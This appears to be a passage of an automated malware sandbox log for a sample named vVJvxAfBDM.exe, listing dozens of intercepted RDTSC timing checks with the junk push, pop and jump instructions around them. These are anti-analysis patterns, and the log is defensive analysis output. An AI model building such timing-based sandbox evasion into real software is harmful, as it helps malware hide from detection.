Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 35C5FE second address: 35C63A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 jo 00007FA938DCFC36h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f jmp 00007FA938DCFC41h 0x00000014 jmp 00007FA938DCFC44h 0x00000019 popad 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d push edi 0x0000001e pop edi 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 35C63A second address: 35C63E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 35C77F second address: 35C7AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA938DCFC47h 0x00000007 jnl 00007FA938DCFC36h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007FA938DCFC3Eh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 35C90B second address: 35C90F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 35C90F second address: 35C913 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 35CB64 second address: 35CB85 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FA9388D7B88h 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 35CB85 second address: 35CB8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 35CB8B second address: 35CB91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 35CF8A second address: 35CF90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 35CF90 second address: 35CF95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 35CF95 second address: 35CF9B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 35CF9B second address: 35CF9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 35CF9F second address: 35CFB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FA938DCFC36h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 35CFB1 second address: 35CFB5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 35D38E second address: 35D39A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FA938DCFC36h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 35D39A second address: 35D39E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 2D1A78 second address: 2D1A7E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 2D1A7E second address: 2D1A86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 2D1A86 second address: 2D1A90 instructions: 0x00000000 rdtsc 0x00000002 je 00007FA938DCFC36h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 366676 second address: 36667C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 36C4C0 second address: 36C4ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edi 0x00000009 je 00007FA938DCFC63h 0x0000000f pushad 0x00000010 jmp 00007FA938DCFC45h 0x00000015 jo 00007FA938DCFC36h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 36C4ED second address: 36C4F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push edi 0x00000007 pop edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 36C8E4 second address: 36C902 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FA938DCFC36h 0x00000008 jmp 00007FA938DCFC44h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 36C902 second address: 36C907 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 36C907 second address: 36C91E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push ecx 0x00000008 pushad 0x00000009 popad 0x0000000a jg 00007FA938DCFC36h 0x00000010 pop ecx 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push ebx 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 370BD0 second address: 370BFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA9388D7B84h 0x00000009 popad 0x0000000a pushad 0x0000000b jg 00007FA9388D7B76h 0x00000011 pushad 0x00000012 popad 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 370BFB second address: 370C2C instructions: 0x00000000 rdtsc 0x00000002 je 00007FA938DCFC36h 0x00000008 jmp 00007FA938DCFC43h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f popad 0x00000010 push edi 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FA938DCFC3Eh 0x00000018 push eax 0x00000019 pop eax 0x0000001a rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 370C2C second address: 370C30 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 370C30 second address: 370C36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 370DAC second address: 370DB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FA9388D7B76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 370DB6 second address: 370DBA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 370DBA second address: 370DDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FA9388D7B88h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 370DDA second address: 370DDE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 370DDE second address: 370DF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jg 00007FA9388D7B8Ah 0x0000000e push edi 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 pop edi 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 pop eax 0x0000001a rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 370F5D second address: 370F7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007FA938DCFC46h 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 371140 second address: 371163 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FA9388D7B85h 0x0000000d jbe 00007FA9388D7B76h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 375F39 second address: 375F43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 pop eax 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 375F43 second address: 375F5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FA9388D7B76h 0x0000000a jmp 00007FA9388D7B7Eh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 375F5B second address: 375FA7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA938DCFC41h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FA938DCFC49h 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 jmp 00007FA938DCFC46h 0x00000018 push esi 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 375FA7 second address: 375FC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 jmp 00007FA9388D7B85h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 375FC4 second address: 375FCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 375FCA second address: 375FD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 375FD0 second address: 375FDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jng 00007FA938DCFC36h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 375FDF second address: 375FE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 376281 second address: 376285 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 376285 second address: 3762CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA9388D7B7Ch 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007FA9388D7B84h 0x00000011 jmp 00007FA9388D7B89h 0x00000016 jbe 00007FA9388D7B76h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3762CD second address: 3762D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 37644A second address: 376450 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 376450 second address: 376454 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 376598 second address: 3765AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA9388D7B81h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3765AD second address: 3765C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FA938DCFC3Eh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3765C4 second address: 3765CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 37DA37 second address: 37DA67 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FA938DCFC59h 0x00000008 pushad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 37DA67 second address: 37DA6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 37BA90 second address: 37BAD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pushad 0x00000007 jp 00007FA938DCFC51h 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FA938DCFC47h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 37BEEB second address: 37BEFF instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FA9388D7B76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jc 00007FA9388D7B7Eh 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 37C828 second address: 37C82C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 37CAE6 second address: 37CAEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 37D3DF second address: 37D3F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FA938DCFC3Eh 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 37D709 second address: 37D710 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 37D710 second address: 37D71A instructions: 0x00000000 rdtsc 0x00000002 ja 00007FA938DCFC42h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 37D71A second address: 37D720 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 382C1A second address: 382C20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 382C20 second address: 382C3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jnl 00007FA9388D7B76h 0x0000000c popad 0x0000000d pushad 0x0000000e jmp 00007FA9388D7B7Bh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 382C3B second address: 382C40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 382C40 second address: 382C4A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FA9388D7B76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 382C4A second address: 382C50 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 382C50 second address: 382C9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jnl 00007FA9388D7B7Ch 0x0000000f pushad 0x00000010 jo 00007FA9388D7B76h 0x00000016 jmp 00007FA9388D7B84h 0x0000001b jmp 00007FA9388D7B88h 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 382C9A second address: 382CBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push edi 0x00000007 pop edi 0x00000008 jmp 00007FA938DCFC49h 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 382CBF second address: 382CCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 jp 00007FA9388D7B76h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 383562 second address: 383581 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA938DCFC44h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 383581 second address: 38358C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FA9388D7B76h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3836F7 second address: 3836FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3836FC second address: 383701 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 383701 second address: 38371F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jnl 00007FA938DCFC3Ch 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 push edi 0x00000013 pop edi 0x00000014 popad 0x00000015 push ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 38371F second address: 383733 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA9388D7B7Fh 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 388111 second address: 388115 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 388115 second address: 38812F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA9388D7B83h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 38812F second address: 388135 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 388135 second address: 38813A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 38B0D4 second address: 38B0EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007FA938DCFC3Dh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 38B0EA second address: 38B0F4 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FA9388D7B76h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 38B0F4 second address: 38B100 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3921BB second address: 3921C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 39238C second address: 3923A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA938DCFC42h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3923A7 second address: 3923AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3923AD second address: 3923B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3923B2 second address: 3923BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007FA9388D7B76h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3923BE second address: 3923C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 39250F second address: 392531 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA9388D7B82h 0x00000007 je 00007FA9388D7B82h 0x0000000d jng 00007FA9388D7B76h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 392800 second address: 392824 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA938DCFC3Ch 0x00000007 jmp 00007FA938DCFC44h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 392952 second address: 392963 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007FA9388D7B7Ah 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 392ABE second address: 392AC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 392AC2 second address: 392AC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 392C71 second address: 392C75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
